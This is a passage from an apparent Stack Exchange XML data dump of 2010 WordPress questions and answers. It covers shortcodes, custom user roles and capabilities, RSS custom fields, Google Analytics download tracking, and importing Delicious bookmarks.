$num_posts-&amp;gt;publish );&#xA;  $text = _n( $post_type-&amp;gt;labels-&amp;gt;singular_name, $post_type-&amp;gt;labels-&amp;gt;name , intval( $num_posts-&amp;gt;publish ) );&#xA;  if ( current_user_can( 'edit_posts' ) ) {&#xA;   $num = &quot;&amp;lt;a href='edit.php?post_type=$post_type-&amp;gt;name'&amp;gt;$num&amp;lt;/a&amp;gt;&quot;;&#xA;   $text = &quot;&amp;lt;a href='edit.php?post_type=$post_type-&amp;gt;name'&amp;gt;$text&amp;lt;/a&amp;gt;&quot;;&#xA;  }&#xA;  echo '&amp;lt;tr&amp;gt;&amp;lt;td class=&quot;first b b-' . $post_type-&amp;gt;name . '&quot;&amp;gt;' . $num . '&amp;lt;/td&amp;gt;';&#xA;  echo '&amp;lt;td class=&quot;t ' . $post_type-&amp;gt;name . '&quot;&amp;gt;' . $text . '&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;';&#xA; }&#xA; $taxonomies = get_taxonomies( $args , $output , $operator ); &#xA; foreach( $taxonomies as $taxonomy ) {&#xA;  $num_terms  = wp_count_terms( $taxonomy-&amp;gt;name );&#xA;  $num = number_format_i18n( $num_terms );&#xA;  $text = _n( $taxonomy-&amp;gt;labels-&amp;gt;singular_name, $taxonomy-&amp;gt;labels-&amp;gt;name , intval( $num_terms ));&#xA;  if ( current_user_can( 'manage_categories' ) ) {&#xA;   $num = &quot;&amp;lt;a href='edit-tags.php?taxonomy=$taxonomy-&amp;gt;name'&amp;gt;$num&amp;lt;/a&amp;gt;&quot;;&#xA;   $text = &quot;&amp;lt;a href='edit-tags.php?taxonomy=$taxonomy-&amp;gt;name'&amp;gt;$text&amp;lt;/a&amp;gt;&quot;;&#xA;  }&#xA;  echo '&amp;lt;tr&amp;gt;&amp;lt;td class=&quot;first b b-' . $taxonomy-&amp;gt;name . '&quot;&amp;gt;' . $num . '&amp;lt;/td&amp;gt;';&#xA;  echo '&amp;lt;td class=&quot;t ' . $taxonomy-&amp;gt;name . '&quot;&amp;gt;' . $text . '&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;';&#xA; }&#xA;}&#xA;add_action( 'right_now_content_table_end' , 'wph_right_now_content_table_end' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1366" LastEditorUserId="1366" LastEditorDisplayName="" LastEditDate="2011-01-30T03:13:35.800" LastActivityDate="2011-01-30T03:13:35.800" CommunityOwnedDate="2010-11-09T03:27:05.763" CommentCount="3" />
  <row Id="3807" PostTypeId="2" ParentId="3804" CreationDate="2010-11-09T03:48:43.267" Score="5" ViewCount="" Body="&lt;p&gt;See the &lt;a href=&quot;http://codex.wordpress.org/Shortcode_API&quot; rel=&quot;nofollow&quot;&gt;Shortcode API article on the Codex&lt;/a&gt; for a tutorial and my &lt;a href=&quot;https://github.com/toscho/WordPress-Shortcodes&quot; rel=&quot;nofollow&quot;&gt;Shortcode Plugin&lt;/a&gt; for some examples.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A very basic example for the &lt;code&gt;functions.php&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA; * Shortcode for bloginfo()&#xA; *&#xA; * Usage: [bloginfo key=&quot;template_url&quot;]&#xA; *&#xA; * @see http://codex.wordpress.org/Template_Tags/get_bloginfo&#xA; * @source http://blue-anvil.com/archives/8-fun-useful-shortcode-functions-for-wordpress&#xA; * @param array $atts&#xA; * @return string&#xA; */&#xA;function bloginfo_shortcode($atts)&#xA;{&#xA;    extract( shortcode_atts( array( 'key' =&amp;gt; 'name' ), $atts ) );&#xA;    return get_bloginfo( $key );&#xA;}&#xA;add_shortcode( 'bloginfo', 'bloginfo_shortcode' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="73" LastActivityDate="2010-11-09T03:48:43.267" CommentCount="2" />
  <row Id="3808" PostTypeId="2" ParentId="3804" CreationDate="2010-11-09T05:19:54.150" Score="0" ViewCount="" Body="&lt;p&gt;For some stimulus to your example above...have the shortcode wrap the contents in a div or paragraph or blockquote or whatever wrapper you want, with some classes defined with it. That way they inherit the styling rules for those classes from the stylesheet. You could have .alert or .safe etc all defined already and then which type of notification you need determined the one used ;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&#xA;Here's what I was thinking with my answer above, and perhaps someone else could use it themselves. For the example I'll use Alert, notice, and announcement&lt;/p&gt;&#xA;&#xA;&lt;p&gt;function announce_shortcode($atts, $content = null)&#xA;{&#xA;    extract( shortcode_atts( array( 'type' =&gt; 'alert' ), $atts ) );&#xA;    return ''.$content.'&lt;/p&gt;';&#xA;}&#xA;add_shortcode( 'announce', 'announce_shortcode' );&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then used like so [announce type=&quot;alert&quot;]This is an alert![/announce] shown in red or however you wish to style. [announce type=&quot;notice&quot;]This is just a notice[/announce] styled with milder colors than the alert, etc. Have the class names for alert and notice and whatnot defined in the css.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This was the need that I got out of reading the OP.&lt;/p&gt;&#xA;" OwnerUserId="1006" LastEditorUserId="1006" LastEditorDisplayName="" LastEditDate="2010-11-11T05:26:30.407" LastActivityDate="2010-11-11T05:26:30.407" CommentCount="2" />
  <row Id="3809" PostTypeId="2" ParentId="3801" CreationDate="2010-11-09T07:06:41.503" Score="3" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@curtismchale:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Piggybacking off &lt;em&gt;@prettyboymp's&lt;/em&gt; excellent answer,with my spin on it, here's how you can do multiple custom fields (I did 3, you can do more):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('rss2_item', 'yoursite_rss2_item');&#xA;function yoursite_rss2_item() {&#xA;  if (get_post_type()=='my_custom_post_type') {&#xA;    $fields = array( 'field1', 'field2', 'field3' );&#xA;    $post_id = get_the_ID();&#xA;    foreach($fields as $field)&#xA;      if ($value = get_post_meta($post_id,$field,true))&#xA;        echo &quot;&amp;lt;{$field}&amp;gt;{$value}&amp;lt;/{$field}&amp;gt;\n&quot;;&#xA;  }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;p&gt;P.S. Be sure to give @prettyboymp props because I didn't know how to do this prior to his answer. I'm just answering too because I'm not sure how long it will be before he returns so I decided to give you an answer in the mean time.&lt;/p&gt;&#xA;" OwnerUserId="89" LastActivityDate="2010-11-09T07:06:41.503" />
  <row Id="3810" PostTypeId="2" ParentId="1567" CreationDate="2010-11-09T07:39:14.010" Score="8" ViewCount="" Body="&lt;h2&gt;New Roles and Capabilities - Only run once!&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I keep these handy, this is the &lt;em&gt;right&lt;/em&gt; way to do them without a plugin. They set a single field (prefix_user_roles) in the options database, and you don't need a plugin to set them. &lt;a href=&quot;http://codex.wordpress.org/Roles_and_Capabilities#Capability_vs._Role_Table&quot; rel=&quot;nofollow&quot;&gt;Refer to the Codex page for a list of what capabilities are available and descriptions for what they do.&lt;/a&gt; &lt;strong&gt;You only need to uncomment one of these blocks, load any page and then comment them again!&lt;/strong&gt; Here I'm creating a role that's got the capabilities I need:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/* Capabilities */&#xA;&#xA;// To add the new role, using 'international' as the short name and&#xA;// 'International Blogger' as the displayed name in the User list and edit page:&#xA;/*&#xA;add_role('international', 'International Blogger', array(&#xA;    'read' =&amp;gt; true, // True allows that capability, False specifically removes it.&#xA;    'edit_posts' =&amp;gt; true,&#xA;    'delete_posts' =&amp;gt; true,&#xA;    'edit_published_posts' =&amp;gt; true,&#xA;    'publish_posts' =&amp;gt; true,&#xA;    'edit_files' =&amp;gt; true,&#xA;    'import' =&amp;gt; true,&#xA;    'upload_files' =&amp;gt; true //last in array needs no comma!&#xA;));&#xA;*/&#xA;&#xA;&#xA;// To remove one outright or remove one of the defaults:&#xA;/* &#xA;remove_role('international');&#xA;*/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It's sometimes handy to add/remove from an existing role rather than removing and re-adding one. &lt;strong&gt;Again, you only need to uncomment it, reload a page and then comment it again.&lt;/strong&gt; This will store the role/capability properly in the options table. (This allows you, the developer to control them and removes the overhead of the bulky plugins that do the same thing.) Here I'm changing the author role to delete their published posts (the default), but allowing them the capability to edit their published posts (which isn't possible for this role by default)-- using *add_cap* or *remove_cap*. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/*&#xA;$edit_role = get_role('author');&#xA;   $edit_role-&amp;gt;add_cap('edit_published_posts');&#xA;   $edit_role-&amp;gt;remove_cap('delete_published_posts');&#xA;*/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I keep a spreadsheet with the grid from the Codex page for sites that modify this way, so I can remember how things are set, though leaving the commented out code in your functions.php file will work to. Don't leave these examples uncommented, or it will write to the database with each page load!&lt;/p&gt;&#xA;" OwnerUserId="1515" LastEditorUserId="1515" LastEditorDisplayName="" LastEditDate="2011-03-11T23:44:37.527" LastActivityDate="2011-03-11T23:44:37.527" CommunityOwnedDate="2010-11-09T07:39:14.010" CommentCount="13" />
  <row Id="3811" PostTypeId="2" ParentId="1567" CreationDate="2010-11-09T08:17:27.173" Score="3" ViewCount="" Body="&lt;h2&gt;Exclude child categories of a specific category.&lt;/h2&gt; &#xA;&#xA;&lt;p&gt;Pretty straight forward, but I couldn't find anyone doing exactly what I needed. Also it will display the post if the parent category is selected, except if that post has a child category of that parent selected.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   /* this code excludes all of the children of (category id = 20) posts&#xA;       on the HOME page, but allows parent (category id = 20) to be shown. */&#xA;&#xA;    function exclude_category_children($query) {&#xA;        $child_cats = (array) get_term_children('20', 'category');&#xA;        if ( $query-&amp;gt;is_home ) {&#xA;        $query-&amp;gt;set('category__not_in', $child_cats);&#xA;        return $query;&#xA;        }&#xA;    }&#xA;    add_filter('pre_get_posts', 'exclude_category_children');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1515" LastActivityDate="2010-11-09T08:17:27.173" CommunityOwnedDate="2010-11-09T08:17:27.173" />
  <row Id="3812" PostTypeId="2" ParentId="3777" CreationDate="2010-11-09T08:44:46.553" Score="3" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@NetConstructor:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think this is what you need. Note that I didn't include the full setup of your &lt;code&gt;'website_owner'&lt;/code&gt; role, just the addition of a new capability called &lt;code&gt;'manage_administrators'&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, I only attempted to remove the &lt;em&gt;&quot;Delete&quot;&lt;/em&gt; link from any users that don't have the &lt;code&gt;'manage_administrators'&lt;/code&gt; capability &lt;em&gt;(which you'll need to add to the administrator role, of course)&lt;/em&gt; and I also simply removed the &lt;em&gt;Administrator&lt;/em&gt; as a role option on the &lt;em&gt;&quot;Add New User&quot;&lt;/em&gt; page. I didn't attempt to ensure they can't delete or add administrators via some nefarious method, and I didn't disable any other feature that might allow them to add or delete administrators. That said, maybe this is sufficient?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('user_row_actions','yoursite_user_row_actions',10,2);&#xA;function yoursite_user_row_actions($actions, $user_object) {  // remove the ability to delete an administrator&#xA;  global $pagenow;&#xA;  if ($pagenow=='users.php' &amp;amp;&amp;amp; isset($user_object-&amp;gt;caps['administrator']) &amp;amp;&amp;amp; !current_user_can('manage_administrators'))&#xA;    unset($actions['edit']);&#xA;    unset($actions['delete']);&#xA;  return $actions;&#xA;}&#xA;add_action('editable_roles','yoursite_editable_roles');&#xA;function yoursite_editable_roles($all_roles) { // remove the ability to add an administrator&#xA;  global $pagenow;&#xA;if (in_array($pagenow,array('user-edit.php','user-new.php')) &amp;amp;&amp;amp;           &#xA;       !current_user_can('manage_administrators'))&#xA;    unset($all_roles['administrator']);&#xA;  return $all_roles;&#xA;}&#xA;add_action('admin_init','yoursite_admin_init');&#xA;function yoursite_admin_init() {&#xA;  $wp_roles = new WP_Roles();&#xA;  $wp_roles-&amp;gt;use_db = true;&#xA;  $administrator = $wp_roles-&amp;gt;get_role('administrator');&#xA;  if (!$administrator-&amp;gt;has_cap('manage_administrators'))&#xA;    $wp_roles-&amp;gt;add_cap('administrator','manage_administrators');&#xA;&#xA;  $website_owner = $wp_roles-&amp;gt;get_role('website_owner');&#xA;  if (!$website_owner) {&#xA;    //let's use the editor as the base capabilities&#xA;    $caps = get_role('editor')-&amp;gt;capabilities;&#xA;    $caps = array_merge( $caps, array(&#xA;      'install_plugins'               =&amp;gt; false,&#xA;      'activate_plugins'              =&amp;gt; false,&#xA;      'update_plugins'                =&amp;gt; false,&#xA;      'delete_plugins'                =&amp;gt; false,&#xA;      'list_users'                    =&amp;gt; true,&#xA;      'add_users'                     =&amp;gt; true,&#xA;      'create_users'                  =&amp;gt; true,&#xA;      'edit_users'                    =&amp;gt; true,&#xA;      'delete_users'                  =&amp;gt; true,&#xA;      'remove_users'                  =&amp;gt; true,&#xA;      'unfiltered_upload'             =&amp;gt; true,&#xA;      'install_themes'                =&amp;gt; false,&#xA;      'update_themes'                 =&amp;gt; false,&#xA;      'delete_themes'                 =&amp;gt; false,&#xA;      'switch_themes'                 =&amp;gt; false,&#xA;      'edit_theme_options'            =&amp;gt; true,&#xA;      'manage_options'                =&amp;gt; false,&#xA;      'import'                        =&amp;gt; false,&#xA;      'update_core'                   =&amp;gt; false,&#xA;      'edit_dashboard'                =&amp;gt; false,&#xA;      'gravityforms_view_entries'     =&amp;gt; true,&#xA;      'gravityforms_edit_entries'     =&amp;gt; true,&#xA;      'gravityforms_delete_entries'   =&amp;gt; true,&#xA;      'gravityforms_export_entries'   =&amp;gt; true,&#xA;      'gravityforms_view_entry_notes' =&amp;gt; true,&#xA;      'gravityforms_edit_entry_notes' =&amp;gt; true,&#xA;      'gravityforms_feed'             =&amp;gt; true,&#xA;      'manage_administrators'         =&amp;gt; false,&#xA;    ));&#xA;    $wp_roles-&amp;gt;add_role('website_owner','Website Owner',$caps);&#xA;  }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-11-12T00:04:57.707" LastActivityDate="2010-11-12T00:04:57.707" CommentCount="12" />
  <row Id="3813" PostTypeId="1" CreationDate="2010-11-09T09:00:13.477" Score="1" ViewCount="74" Body="&lt;p&gt;I need help with coding this piece. Basically i want with someone click on my author page. It stored a cookie of that author name and email. I want the cookie to stay in place untill the person close their browser, or however long. not a big deal. I should then be able to use this info in any gravityform on my site. Basically i am tracking leads generated by my authors. If you have a better way of doing this, i am happy for suggestions. Thanks . Heres is my current author.php code to get the author info&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;if(isset($_GET['author_name'])) :&#xA;$curauth = get_userdatabylogin($author_name);&#xA;else :&#xA;$curauth = get_userdata(intval($author));&#xA;endif;&#xA;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" LastActivityDate="2010-11-09T12:02:24.110" Title="Author Tracking Code!" Tags="&lt;3.0&gt;&lt;php&gt;&lt;functions&gt;&lt;cookies&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" />
  <row Id="3814" PostTypeId="1" CreationDate="2010-11-09T09:01:57.467" Score="4" ViewCount="292" Body="&lt;p&gt;I'm using Wordpress to present some software for download. The download links are provided via Custom Link entries in a side menu. I would like to enable Google Analytics tracking for these file downloads but I can't see how I can add the required javascript triggers as per the example here: &lt;a href=&quot;http://www.google.com/support/analytics/bin/answer.py?hl=en&amp;amp;answer=55529&quot; rel=&quot;nofollow&quot;&gt;http://www.google.com/support/analytics/bin/answer.py?hl=en&amp;amp;answer=55529&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone offer a way of achieving this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: By &quot;Custom Link&quot;, I mean that the file links are created in a custom menu as custom links in the Appearance-&gt;Menus area of WP3. I'm using the Atahualpa theme, if that makes any difference.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Further Edit: I'm trying the plug-in route, which will hopefully automate the process, but another possibility I've found is to use the &quot;Text&quot; widget and simply paste the menu code in there and edit in the javascript trigger on the links. This is obviously more of a pain to maintain. I would add this as a possible answer, but I can't answer my own question, apparently.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Outcome: Thanks for the responses. I've ended up going with the Text widget and just hand-coding the menu for now. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure why the answer simply pasting the info from the link I gave in the question is being up-voted as it doesn't address how to do this &lt;em&gt;in Wordpress&lt;/em&gt;. A plugin that allows adding onclick handlers to the custom links or similar would be best, but I can't find one and &quot;if you had a unicorn&quot; isn't an answer either. I may come back to the coding suggestions but the creation of useful GA identifiers seems difficult to do automatically, which seems to lead back to effectively writing my own plugin... and surely that's an answer to almost anything?&lt;/p&gt;&#xA;" LastActivityDate="2011-09-05T16:01:52.817" Title="How can I enable Google Analytics on a file download link?" Tags="&lt;wp-admin&gt;&lt;custom-menus&gt;&lt;google-analytics&gt;" AnswerCount="5" CommentCount="5" FavoriteCount="1" />
  <row Id="3815" PostTypeId="2" ParentId="3814" CreationDate="2010-11-09T09:27:29.610" Score="7" ViewCount="" Body="&lt;p&gt;You basically have to tag the &lt;code&gt;&amp;lt;a&amp;gt;&lt;/code&gt; link &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Google Analytics provides an easy way&#xA;  to track clicks on links that lead to&#xA;  file downloads. &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Because these links do&#xA;  not lead to a page on your site&#xA;  containing the tracking code, you'll&#xA;  need to tag the link itself with the&#xA;  _trackPageview() JavaScript if you would like to track these downloads.&#xA;  This piece of JavaScript assigns a&#xA;  pageview to any click on a link - the&#xA;  pageview is attributed to the filename&#xA;  you specify.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;For example, to log every click on a&#xA;  particular link to&#xA;  www.example.com/files/map.pdf as a&#xA;  pageview for /downloads/map you would&#xA;  add the following attribute to the&#xA;  link's  tag:&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;http://www.example.com/files/map.pdf&quot; onClick=&quot;javascript: pageTracker._trackPageview('/downloads/map'); &quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.google.com/support/analytics/bin/answer.py?hl=en&amp;amp;answer=55529&quot; rel=&quot;nofollow&quot;&gt;http://www.google.com/support/analytics/bin/answer.py?hl=en&amp;amp;answer=55529&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope that helps :)&lt;/p&gt;&#xA;" OwnerUserId="692" LastActivityDate="2010-11-09T09:27:29.610" CommentCount="2" />
  <row Id="3816" PostTypeId="2" ParentId="1567" CreationDate="2010-11-09T09:48:50.393" Score="7" ViewCount="" Body="&lt;h2&gt;Remove superfluous info and HTML within the &lt;code&gt;&amp;lt;head&amp;gt;&lt;/code&gt; tag&lt;/h2&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// remove unncessary header info&#xA;function remove_header_info() {&#xA;    remove_action('wp_head', 'rsd_link');&#xA;    remove_action('wp_head', 'wlwmanifest_link');&#xA;    remove_action('wp_head', 'wp_generator');&#xA;    remove_action('wp_head', 'start_post_rel_link');&#xA;    remove_action('wp_head', 'index_rel_link');&#xA;    remove_action('wp_head', 'adjacent_posts_rel_link');&#xA;}&#xA;add_action('init', 'remove_header_info');&#xA;&#xA;// remove extra css that recent comments widget injects&#xA;function remove_recent_comments_style() {&#xA;    global $wp_widget_factory;&#xA;    remove_action('wp_head', array($wp_widget_factory-&amp;gt;widgets['WP_Widget_Recent_Comments'], 'recent_comments_style'));&#xA;}&#xA;add_action('widgets_init', 'remove_recent_comments_style');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" LastEditorUserId="479" LastEditorDisplayName="" LastEditDate="2011-01-26T13:51:04.267" LastActivityDate="2011-01-26T13:51:04.267" CommunityOwnedDate="2010-11-09T09:48:50.393" />
  <row Id="3817" PostTypeId="1" AcceptedAnswerId="4004" CreationDate="2010-11-09T10:13:34.690" Score="4" ViewCount="258" Body="&lt;p&gt;I was wondering this, too. I tried and spent quite a few hours trying, but I was finally able to proceed. I discovered a few things that won't be obvious to most people along the way, so I'm posting some steps here. You should be able to have this set up on a test server for a test yourself in no time. If anyone has found an alternate way to do it, please let me know. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, I had wanted all of my bookmarks to be organized somewhat, and though there are some tagging extensions for firefox, a lot of them seemed too bulky. In retrospect, I could have tried some of them first. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I chose to use &lt;code&gt;delicious.com&lt;/code&gt; (formerly &lt;code&gt;del.icio.us&lt;/code&gt;) to tag my bookmarks for me. It seemed the simplest way to go about it, and most of the 1,500 bookmarks I had were known to that site, so tags were available. You will be able to use the firefox delicious extension, or import directly to their website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They have an API, and hidden inside it is this URL &lt;code&gt;http:// username:password@api.del.icio.us/v1/posts/all&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;which should get you to having your bookmarks, now with tags, as an xml file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next, you'll use the script from here &lt;a href=&quot;http://memografia.com/wordpress/delicious-to-wordpress-importer/&quot; rel=&quot;nofollow&quot;&gt;http://memografia.com/wordpress/delicious-to-wordpress-importer/&lt;/a&gt; to import it as a blog. But you can't put this script in your plugins directory and make it work! WordPress 3.0 changed the way they do the importers, BUT they left in some legacy support (though this isn't really documented anywhere.) Simply make folder named 'input' in the wp-admin folder and drop the delicious.php file in there. (This works with any importer script that uses the register_importer() function.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now when you go to your dashboard and look under Tools&gt;Import you'll see that Delicious is an option. You can import the bookmark tags as categories or tags and it'll make a post for each bookmark. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If anyone tries this out I'd love advice on what to do next. I reseached how to do this so I could get a handle on my bookmarks and comment on the ones that were most useful. I can do that, but if anyone knows of any plugins that would grab excerpts to flesh things out, please let me know. It is rather neat to have an archive of your bookmarks that can easily be sorted by time.&lt;/p&gt;&#xA;" OwnerUserId="1515" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2010-11-09T19:47:48.980" LastActivityDate="2010-11-13T13:00:28.677" Title="Wondering how to turn your firefox bookmarks into a WordPress blog?" Tags="&lt;links&gt;&lt;import&gt;&lt;bulk-import&gt;&lt;bookmark&gt;" AnswerCount="1" CommentCount="6" FavoriteCount="4" />
  <row Id="3818" PostTypeId="1" CreationDate="2010-11-09T10:24:25.913" Score="0" ViewCount="58" Body="&lt;p&gt;Recently I've been asking a lot of questions here on &lt;a href=&quot;http://wordpress.stackexchange.com/questions/3694/have-multiple-category-queries-from-the-url-been-fixed-yet&quot;&gt;urls&lt;/a&gt;, &lt;a href=&quot;http://wordpress.stackexchange.com/questions/3737/meta-compare-seems-to-be-treating-values-as-strings-instead-of-integers-as-expect&quot;&gt;meta_compare&lt;/a&gt; and &lt;a href=&quot;http://wordpress.stackexchange.com/questions/3765/how-should-i-use-posts-where-to-change-meta-value-from-a-string-to-integer&quot;&gt;related issues&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've received a lot of great answers to these questions and you have helped me build an advanced search function for my website that I'm really proud of.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the interests of sharing, I've also created &lt;a href=&quot;http://www.skyrocketonlinemarketing.com/2010/11/09/advanced-search-in-wordpress-themes/&quot; rel=&quot;nofollow&quot;&gt;a blog post&lt;/a&gt; so others can explore this method and create advanced search page for themselves. Please let me know what you think of  the blog post. Am I providing the right sort of advice to the community?&lt;/p&gt;&#xA;" OwnerUserId="1341" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2010-11-09T18:29:24.373" LastActivityDate="2010-11-09T18:29:24.373" ClosedDate="2011-02-17T15:18:48.467" Title="Feedback for the Help I got here. &quot;Thank you&quot;-Post with more Information a.k.a Thoughts on my advanced search tutorial?" Tags="&lt;theme-development&gt;" CommentCount="4" />
  <row Id="3819" PostTypeId="2" ParentId="3813" CreationDate="2010-11-09T12:02:24.110" Score="1" ViewCount="" Body="&lt;p&gt;When you are on an &lt;code&gt;author.php&lt;/code&gt; template page, you should be able to get the current author via &lt;a href=&quot;http://core.trac.wordpress.org/browser/branches/3.0/wp-includes/query.php#L2710&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;$wp_query-&amp;gt;get_queried_object()&lt;/code&gt;&lt;/a&gt;. That is also what &lt;a href=&quot;http://core.trac.wordpress.org/browser/branches/3.0/wp-includes/query.php#L148&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;is_author()&lt;/code&gt;&lt;/a&gt; uses when you want to check for a specific author.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you also have a question about setting the cookies? I don't think WordPress has specific cookie functions. &lt;a href=&quot;http://core.trac.wordpress.org/browser/branches/3.0/wp-includes/pluggable-deprecated.php#L55&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp_setcookie()&lt;/code&gt; is deprecated&lt;/a&gt; by &lt;a href=&quot;http://core.trac.wordpress.org/browser/branches/3.0/wp-includes/pluggable.php#L663&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp_set_auth_cookie()&lt;/code&gt;&lt;/a&gt;, but that seems to do more advanced stuff than just set a simple cookie.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you use a specific visitor tracking system (like Google Analytics) I'm sure you can also save this kind of &quot;lead&quot; info with them. If you want to know more about that, the &lt;a href=&quot;http://webmasters.stackexchange.com/&quot;&gt;Pro Webmasters Stack Exchange site&lt;/a&gt; is probably a better place.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2010-11-09T12:02:24.110" />
  <row Id="3820" PostTypeId="1" AcceptedAnswerId="3821" CreationDate="2010-11-09T13:33:18.187" Score="1" ViewCount="517" Body="&lt;p&gt;Anyone know of a way to deregister custom post types ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there an equivalent to register_post_type() ? &lt;/p&gt;&#xA;" OwnerUserId="490" LastActivityDate="2010-11-09T13:55:35.343" Title="Deregister custom post types" Tags="&lt;custom-post-types&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="3821" PostTypeId="2" ParentId="3820" CreationDate="2010-11-09T13:51:12.787" Score="4" ViewCount="" Body="&lt;p&gt;There's not currently an &lt;code&gt;unregister_post_type&lt;/code&gt; function, but it's quite simple to do..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See the code provided by Nacin here.&lt;br&gt;&#xA;&lt;a href=&quot;http://core.trac.wordpress.org/ticket/14761&quot; rel=&quot;nofollow&quot;&gt;http://core.trac.wordpress.org/ticket/14761&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've no idea how WordPress will react to a built-in post type being unregistered, so do so at your own risk.. for custom post types it should be fine, simply saying that unregistering a built-in post type may have odd effects on the installation (if you were to do so).&lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2010-11-09T13:51:12.787" CommentCount="5" />
  <row Id="3822" PostTypeId="2" ParentId="1779" CreationDate="2010-11-09T13:54:10.523" Score="3" ViewCount="" Body="&lt;p&gt;I know you say it's not a nonce issue, but it clearly is. That notice is the default 'This nonce didn't check out' message. I don't know exactly why the nonce is failing, but that is what is happening.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would double check how your nonces are created and checked. If you're using &lt;code&gt;wp_nonce_field()&lt;/code&gt; make sure both action values and argument values are the same. Also, double check spelling of variables, or any scope-related issues that could be causing the nonce to fail.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;EDIT&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Following up on your insistence that it's not a nonce issue (which it is. The nonce issue is caused by a scope issue), here's what's probably happened. Included/required files are executed in the scope in which they're included. My guess is you're using a variable to build either the nonce action or the nonce name. Because &lt;code&gt;get_template_part()&lt;/code&gt; includes the template file in the scope of that function, it's no longer being executed in the scope of your admin page's display callback. You either need to globalize those variables in all locations, or you need to use constants instead of variables.&lt;/p&gt;&#xA;" OwnerUserId="11" LastEditorUserId="11" LastEditorDisplayName="" LastEditDate="2010-11-10T13:53:51.077" LastActivityDate="2010-11-10T13:53:51.077" CommentCount="7" />
  <row Id="3823" PostTypeId="2" ParentId="3820" CreationDate="2010-11-09T13:55:35.343" Score="0" ViewCount="" Body="&lt;p&gt;As t31os noted it is easy to remove post type from global variable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But if you mean non-core post type then it would be better to lookup code that registers it and unhook with &lt;code&gt;remove_action()&lt;/code&gt; (if it is decent code it should be hooked rather than run directly).&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-11-09T13:55:35.343" CommentCount="2" />
